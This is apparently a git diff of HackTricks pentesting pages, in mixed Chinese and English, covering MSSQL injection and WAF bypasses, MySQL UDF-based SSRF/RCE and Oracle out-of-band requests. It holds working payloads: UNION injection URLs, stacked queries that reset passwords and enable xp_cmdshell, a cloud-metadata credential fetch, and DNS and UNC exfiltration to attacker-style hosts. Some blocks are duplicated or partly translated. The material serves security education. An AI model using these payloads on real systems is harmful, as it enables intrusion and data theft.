{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} {% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/) [pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
@ -120,11 +120,11 @@ EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
### MSSQL 用户定义函数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a> ### MSSQL 用户定义函数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
创建一个 CLR UDF (Common Language Runtime User Defined Function),这是用任何 .NET 语言编写的代码,并编译成 DLL在 MSSQL 中加载以执行自定义函数的过程需要 `dbo` 访问权限。这意味着通常只有在数据库连接为 `sa` 或具有管理员角色时才可行。 创建一个 CLR UDF(公共语言运行时用户定义函数),即用任何 .NET 语言编写并编译成 DLL 的代码,以便在 MSSQL 中加载以执行自定义函数,是一个需要 `dbo` 访问权限的过程。这意味着通常只有在以 `sa` 或管理员角色进行数据库连接时才可行。
在 [此 Github 存储库](https://github.com/infiniteloopltd/SQLHttp) 中提供了一个 Visual Studio 项目和安装说明,以便将二进制文件加载到 MSSQL 中作为 CLR 组件,从而实现在 MSSQL 中执行 HTTP GET 请求。 在 [这个 Github 仓库](https://github.com/infiniteloopltd/SQLHttp) 中提供了 Visual Studio 项目和安装说明,以便将二进制文件作为 CLR 程序集加载到 MSSQL 中,从而使得可以从 MSSQL 内部执行 HTTP GET 请求。
这种功能的核心包含`http.cs` 文件中,该文件使用 `WebClient` 类执行 GET 请求并检索内容,如下所示: 此功能的核心封装`http.cs` 文件中,该文件使用 `WebClient`执行 GET 请求并检索内容,如下所示:
```csharp ```csharp
using System.Data.SqlTypes; using System.Data.SqlTypes;
using System.Net; using System.Net;
@ -140,29 +140,31 @@ return new SqlString(html);
} }
} }
``` ```
在执行`CREATE ASSEMBLY` SQL命令之前建议运行以下SQL片段将程序集的SHA512哈希添加到服务器的受信任程序集列表中可通过`select * from sys.trusted_assemblies;`查看): 在执行 `CREATE ASSEMBLY` SQL 命令之前,建议运行以下 SQL 代码片段将程序集的 SHA512 哈希添加到服务器的受信任程序集列表中(可通过 `select * from sys.trusted_assemblies;` 查看):
```sql ```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil'; EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
``` ```
成功添加程序集并创建函数后可以使用以下SQL代码执行HTTP请求 成功添加程序集并创建函数后,可以使用以下 SQL 代码执行 HTTP 请求:
```sql ```sql
DECLARE @url varchar(max); DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/'; SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url); SELECT dbo.http(@url);
``` ```
### **快速利用:在单个查询中检索整个表内容** ### **快速利用:在单个查询中检索整个表内容**
[这里的技巧](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)。 [Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
提取表的全部内容的简洁方法涉及使用 `FOR JSON` 子句。这种方法比使用 `FOR XML` 子句更简洁,后者需要像 "raw" 这样的特定模式。`FOR JSON` 子句因其简洁性而受到青睐 提取表的完整内容的简洁方法涉及使用 `FOR JSON` 子句。与需要特定模式如“原始”的 `FOR XML` 子句相比,这种方法更简洁。由于其简洁性,`FOR JSON` 子句更受欢迎
以下是如何从当前数据库检索模式、表和列的方法 以下是如何从当前数据库检索模式、表和列:
```sql ```sql
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done: In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
```sql ```sql
https://vuln.app/getItem?id=1'+并且+1=(选择+concat_ws(0x3a,table_schema,table_name,column_name)a+从+information_schema.columns+for+json+auto)-- ```markdown
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
```
``` ```
### Retrieving the Current Query ### Retrieving the Current Query
@ -172,27 +174,17 @@ https://vuln.app/getItem?id=1'+并且+1=(选择+concat_ws(0x3a,table_schema,tabl
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text: For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
```sql ```sql
### MSSQL注入 ```markdown
访问以下链接:
```html
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
``` ```
``` ```
To check if you have the VIEW SERVER STATE permission, the following query can be used: To check if you have the VIEW SERVER STATE permission, the following query can be used:
```sql
```sql ```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE'; SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
``` ```
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
```
## **Little tricks for WAF bypasses** ## **Little tricks for WAF bypasses**
[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) [Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
@ -200,43 +192,29 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERV
Non-standard whitespace characters: %C2%85 или %C2%A0: Non-standard whitespace characters: %C2%85 или %C2%A0:
``` ```
### MSSQL注入 ```markdown
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
访问以下链接:`https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--` ```
``` ```
Scientific (0e) and hex (0x) notation for obfuscating UNION: Scientific (0e) and hex (0x) notation for obfuscating UNION:
``` ```
- 使用UNION注入来检索数据库版本信息 https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
- https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
- 使用UNION注入来检索数据库版本信息 https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
- https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
``` ```
A period instead of a whitespace between FROM and a column name: A period instead of a whitespace between FROM and a column name:
``` ```
### MSSQL注入
让我们看一下如何利用MSSQL注入来获取数据。在这个示例中我们将尝试获取ID为1的项目。
```html
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users-- https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
``` ```
```
\N separator between SELECT and a throwaway column: \N separator between SELECT and a throwaway column:
``` ```
### MSSQL注入 ```markdown
---
访问以下链接:
```
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users-- https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
``` ```
``` ```
@ -245,32 +223,26 @@ https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";": According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
```sql
```sql ```sql
SELECT 'a' SELECT 'b' SELECT 'a' SELECT 'b'
``` ```
```sql
SELECT 'a' SELECT 'b'
```
```
So for example, multiple queries such as: So for example, multiple queries such as:
```sql ```sql
```sql ```sql
使用 [tempdb] use [tempdb]
创建表 [test] ([id] int) create table [test] ([id] int)
插入 [test] 值(1) insert [test] values(1)
选择 [id] 从 [test] select [id] from [test]
删除表[test] drop table[test]
``` ```
``` ```
Can be reduced to: Can be reduced to:
```sql ```sql
使用[tempdb]创建表[test]([id]int)插入[test]值(1)选择[id]从[test]删除表[test] use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
``` ```
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example: Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
@ -278,22 +250,19 @@ Therefore it could be possible to bypass different WAFs that doesn't consider th
``` ```
# 在末尾添加一个无用的 exec() 并让 WAF 认为这不是一个有效的查询 # 在末尾添加一个无用的 exec() 并让 WAF 认为这不是一个有效的查询
admina'union select 1,'admin','testtest123'exec('select 1')-- admina'union select 1,'admin','testtest123'exec('select 1')--
## 这将是: ## 这将是:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--' exec('select 1')--'
# 使用奇怪构建的查询 # 使用奇怪构建的查询
admin'exec('update[users]set[password]=''a''')-- admin'exec('update[users]set[password]=''a''')--
## 这将是: ## 这将是:
SELECT id, username, password FROM users WHERE username = 'admin' SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--' exec('update[users]set[password]=''a''')--'
# 或者启用 xp_cmdshell # 或者启用 xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## 这将是
## 这将是:
select * from users where username = ' admin' select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
@ -304,16 +273,17 @@ exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) * [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) * [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

View file

@ -1,53 +1,55 @@
# MySQL文件权限到SSRF/RCE # MySQL 文件权限到 SSRF/RCE
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
**这是来自[https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)的MySQL/MariaDB/Percona技术摘要**。 **这是来自 [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) MySQL/MariaDB/Percona 技术摘要**。
### 通过SQL函数实现服务器端请求伪造SSRF ### 通过 SQL 函数进行服务器端请求伪造 (SSRF)
探索SQL带外数据泄露时`LOAD_FILE()`函数通常用于发起网络请求。然而,该函数受操作系统和数据库启动配置的限制。 SQL 带外数据外泄的探索中,`LOAD_FILE()` 函数通常用于发起网络请求。然而,该函数受到其运行的操作系统和数据库启动配置的限制。
如果未设置`secure_file_priv`全局变量,默认为`/var/lib/mysql-files/`,限制文件访问仅限于该目录,除非设置为空字符串(`""`)。这种调整需要修改数据库的配置文件或启动参数。 如果未设置 `secure_file_priv` 全局变量,则默认为 `/var/lib/mysql-files/`,限制文件访问仅限于此目录,除非设置为空字符串 (`""`)。此调整需要修改数据库的配置文件或启动参数。
假设`secure_file_priv`已禁用(`""`),并假设已授予必要的文件和`file_priv`权限可以读取指定目录之外的文件。然而这些函数进行网络调用的能力高度依赖于操作系统。在Windows系统上由于操作系统理解UNC命名约定因此可以对UNC路径进行网络调用潜在地导致NTLMv2哈希的泄露 假设 `secure_file_priv` 被禁用 (`""`),并且授予了必要的文件和 `file_priv` 权限,则可以读取指定目录外的文件。然而,这些函数进行网络调用的能力高度依赖于操作系统。在 Windows 系统上,由于操作系统对 UNC 命名约定的理解,可以进行对 UNC 路径的网络调用,这可能导致 NTLMv2 哈希的外泄
这种SSRF方法仅限于TCP端口445并且不允许修改端口号尽管它可以用于访问具有完全读取权限的共享目录并且正如先前研究所示,可以窃取哈希以进行进一步利用。 此 SSRF 方法仅限于 TCP 端口 445并且不允许修改端口号尽管可以用来访问具有完全读取权限的共享并且如先前研究所示,可以窃取哈希以进行进一步利用。
### 通过用户定义函数UDF实现远程代码执行RCE ### 通过用户定义函数 (UDF) 进行远程代码执行 (RCE)
MySQL数据库提供了从外部库文件使用用户定义函数UDF的功能。如果这些库文件在特定目录或系统的`$PATH`中可访问则可以从MySQL中调用它们。 MySQL 数据库提供使用来自外部库文件的用户定义函数 (UDF)。如果这些库在特定目录或系统的 `$PATH` 中可访问,则可以从 MySQL 内部调用它们。
通过这种技术可以执行通过UDF进行的网络/HTTP请求前提是满足多个条件包括对`@@plugin_dir`具有写访问权限,`file_priv`设置为`Y`,以及禁用`secure_file_priv` 此技术允许通过 UDF 执行网络/HTTP 请求,前提是满足几个条件,包括对 `@@plugin_dir` 的写入访问、`file_priv` 设置为 `Y`,以及禁用 `secure_file_priv`
例如,可以加载`lib_mysqludf_sys`库或其他允许HTTP请求的UDF库以执行SSRF。这些库必须传输到服务器可以通过对库内容进行十六进制或base64编码然后将其写入适当的目录来实现。 例如,可以加载 `lib_mysqludf_sys` 库或其他支持 HTTP 请求的 UDF 库以执行 SSRF。必须将库传输到服务器这可以通过对库内容进行十六进制或 base64 编码,然后写入适当的目录来实现。
如果`@@plugin_dir`不可写特别是对于MySQL版本高于`v5.0.67`的情况,该过程会有所不同。在这种情况下,必须使用可写的替代路径。 如果 `@@plugin_dir` 不可写,则过程会有所不同,尤其是对于 `v5.0.67` 以上的 MySQL 版本。在这种情况下,必须使用可写的替代路径。
这些过程的自动化可以通过工具如SQLMap支持UDF注入来实现并且对于盲SQL注入可以利用输出重定向或DNS请求欺骗技术。 这些过程的自动化可以通过支持 UDF 注入的工具如 SQLMap 来实现,对于盲 SQL 注入,可以利用输出重定向或 DNS 请求走私技术。
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,38 +1,39 @@
# Oracle注入 # Oracle injection
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
**将此帖子存档为已删除帖子的[wayback machine副本](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**。 **为这篇文章提供一个来自 [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/) 的已删除文章的时光机副本**。
## SSRF ## SSRF
使用Oracle执行带外HTTP和DNS请求的方法已经有很多文档记录但作为注入中提取SQL数据的手段。我们总是可以修改这些技术/函数来执行其他SSRF/XSPA。 使用 Oracle 进行带外 HTTP 和 DNS 请求的文档非常齐全,但作为在注入中提取 SQL 数据的一种手段。我们总是可以修改这些技术/函数来执行其他 SSRF/XSPA。
安装Oracle可能非常痛苦特别是如果您想设置一个快速实例来尝试命令。我的朋友和同事在[Appsecco](https://appsecco.com)[Abhisek Datta](https://github.com/abhisek),向我指出了[https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c)这使我能够在t2.large AWS Ubuntu机器和Docker上设置一个实例。 安装 Oracle 可能非常痛苦,特别是如果你想快速设置一个实例来尝试命令。我的朋友和同事在 [Appsecco](https://appsecco.com)[Abhisek Datta](https://github.com/abhisek),向我推荐了 [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c),这让我能够在 t2.large AWS Ubuntu 机器和 Docker 上设置一个实例。
我使用`--network="host"`标志运行了docker命令以便我可以模拟Oracle作为一个具有完全网络访问权限的本地安装,用于本博文的过程 我使用 `--network="host"` 标志运行 docker 命令,以便在这篇博客文章的过程中模拟 Oracle 作为一个具有完全网络访问权限的本地安装。
``` ```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
``` ```
#### 支持URL或主机/端口号规范的Oracle包 <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a> #### 支持 URL 或主机/端口号规范的 Oracle <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
为了找到支持主机和端口规范的任何包和函数,我在[Oracle数据库在线文档](https://docs.oracle.com/database/121/index.html)上进行了谷歌搜索。具体来说, 为了找到支持主机和端口规范的任何包和函数,我在 [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html) 上进行了 Google 搜索。具体来说,
``` ```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum" site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
``` ```
搜索返回了以下结果(并非所有都可用于执行出站网络) 搜索返回了以下结果(并非所有结果都可用于执行出站网络)
* DBMS\_NETWORK\_ACL\_ADMIN * DBMS\_NETWORK\_ACL\_ADMIN
* UTL\_SMTP * UTL\_SMTP
@ -49,34 +50,34 @@ site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portn
* DBMS\_STREAMS\_ADM * DBMS\_STREAMS\_ADM
* UTL\_HTTP * UTL\_HTTP
种简单的搜索显然会跳过像`DBMS_LDAP`(允许传递主机名和端口号)这样的包,因为[文档页面](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360)只是简单地指向了[不同的位置](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360)。因此,可能有其他可以滥用以发出请求的Oracle包我可能错过了。 个粗略的搜索显然跳过了像 `DBMS_LDAP` 这样的包(它允许传递主机名和端口号),因为[文档页面](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360)只是将您指向[不同的位置](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360)。因此,可能还有其他可以被滥用以进行出站请求的Oracle包我可能遗漏了。
无论如何,让我们看看我们发现并列出的一些包。 无论如何,让我们看看我们发现并列出的其中一些包。
**DBMS\_LDAP.INIT** **DBMS\_LDAP.INIT**
`DBMS_LDAP`包允许访问LDAP服务器的数据。`init()`函数初始化与LDAP服务器的会话并将主机名和端口号作为参数。 `DBMS_LDAP` 包允许访问来自LDAP服务器的数据。`init()` 函数初始化与LDAP服务器的会话并将主机名和端口号作为参数。
此函数以前已经记录过显示了通过DNS泄露数据如下所示 这个函数之前已经被记录下来以显示通过DNS的数据外泄如下所示。
``` ```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual; SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
``` ```
然而,考虑到该函数接受主机名和端口号作为参数,您也可以利用它来像端口扫描器一样工作。 然而,考虑到该函数接受主机名和端口号作为参数,您可以利用这一点使其像端口扫描器一样工作。
以下是一些示例: 以下是一些示例
``` ```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual; SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
``` ```
